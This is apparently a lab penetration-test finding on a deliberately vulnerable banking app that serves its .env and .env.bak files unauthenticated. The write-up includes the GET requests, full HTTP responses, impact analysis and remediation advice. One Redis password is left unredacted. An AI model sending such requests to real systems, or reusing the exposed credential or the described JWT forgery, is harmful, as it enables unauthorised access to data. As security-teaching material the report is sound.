Sensitive Data Exposure - Web Root - Environment Files

Vulnerability

[FAIL] Sensitive Data Exposure - Web Root - Environment Files

Description

The environment configuration file .env and its backup copy .env.bak are served directly from the web root without authentication. These files contain the application secret key, JWT secret, and database credentials.

Impact

Confidentiality (High): an unauthenticated attacker obtains the application SECRET_KEY, JWT_SECRET, and the database host, name, user, and password. With JWT_SECRET, any session token can be forged with a valid signature, including an administrator token. The database credentials allow direct access to the data store if the database network is reachable.

CWE

CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory

OWASP

A05:2021 - Security Misconfiguration

Scenario

Exploitation: a normal GET request to /.env without authentication -> HTTP 200 with the configuration file contents. The backup file /.env.bak is also served, exposing the older configuration including credentials that may still be valid.

Endpoint

GET http://127.0.0.1:5001/.env GET http://127.0.0.1:5001/.env.bak

Affected feature

Static file serving from the web root

Remediation

- Do not place configuration files inside the web root, and do not create routes that serve them. - Block access to dot-prefixed and backup-extension files at the reverse proxy. - Move secrets into a secret manager or environment variables that are not servable files. - Rotate the exposed SECRET_KEY, JWT_SECRET, and database credentials.

Proof of concept

1. (Screenshot 1) EXPLOITATION: GET /.env without authentication -> HTTP 200, SECRET_KEY, JWT_SECRET, and database credentials are exposed.
2. (Screenshot 2) CIA IMPACT: GET /.env.bak -> HTTP 200, the backup configuration copy is also publicly downloadable.

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

HTTP request

GET /.env HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 571
Content-Disposition: inline; filename=".env"
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:21 GMT

APP_ENV=production
FLASK_DEBUG=true
SECRET_KEY=[REDACTED-LAB-VALUE]
JWT_SECRET=[REDACTED-LAB-VALUE]
DB_HOST=vulnbank-db.internal
DB_PORT=5432
DB_NAME=vulnerable_bank
DB_USER=vulnbank_prod
DB_PASSWORD=[REDACTED-LAB-VALUE]
DATABASE_URL=postgresql://[REDACTED-LAB-USER]:[REDACTED-LAB-VALUE]@vulnbank-db.internal:5432/vulnerable_bank
REDIS_URL=redis://:VbRedis_2026!@vulnbank-cache.internal:6379/0
DEEPSEEK_API_KEY=[REDACTED-LAB-VALUE]
SMTP_HOST=mail.vulnbank.internal
SMTP_PORT=587
SMTP_USER=[REDACTED-EMAIL]
SMTP_PASSWORD=[REDACTED-LAB-VALUE]

HTTP request

GET /.env.bak HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 494
Content-Disposition: inline; filename=".env.bak"
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:22 GMT

APP_ENV=production
FLASK_DEBUG=true
SECRET_KEY=[REDACTED-LAB-VALUE]
JWT_SECRET=[REDACTED-LAB-VALUE]
DB_HOST=[REDACTED-LAB-HOST]
DB_PORT=5432
DB_NAME=vulnerable_bank
DB_USER=vulnbank_admin
DB_PASSWORD=[REDACTED-LAB-VALUE]
DATABASE_URL=postgresql://[REDACTED-LAB-USER]:[REDACTED-LAB-VALUE]@[REDACTED-LAB-HOST]:5432/vulnerable_bank
ADMIN_USERNAME=ops_admin
ADMIN_PASSWORD=[REDACTED-LAB-VALUE]
SMTP_HOST=[REDACTED-LAB-HOST]
SMTP_PORT=587
SMTP_USER=[REDACTED-EMAIL]
SMTP_PASSWORD=[REDACTED-LAB-VALUE]

← Previous case: Sensitive Data Exposure - Debug Endpoint - User Credentials Next case: Server-Side Request Forgery - Profile Picture - Import By URL →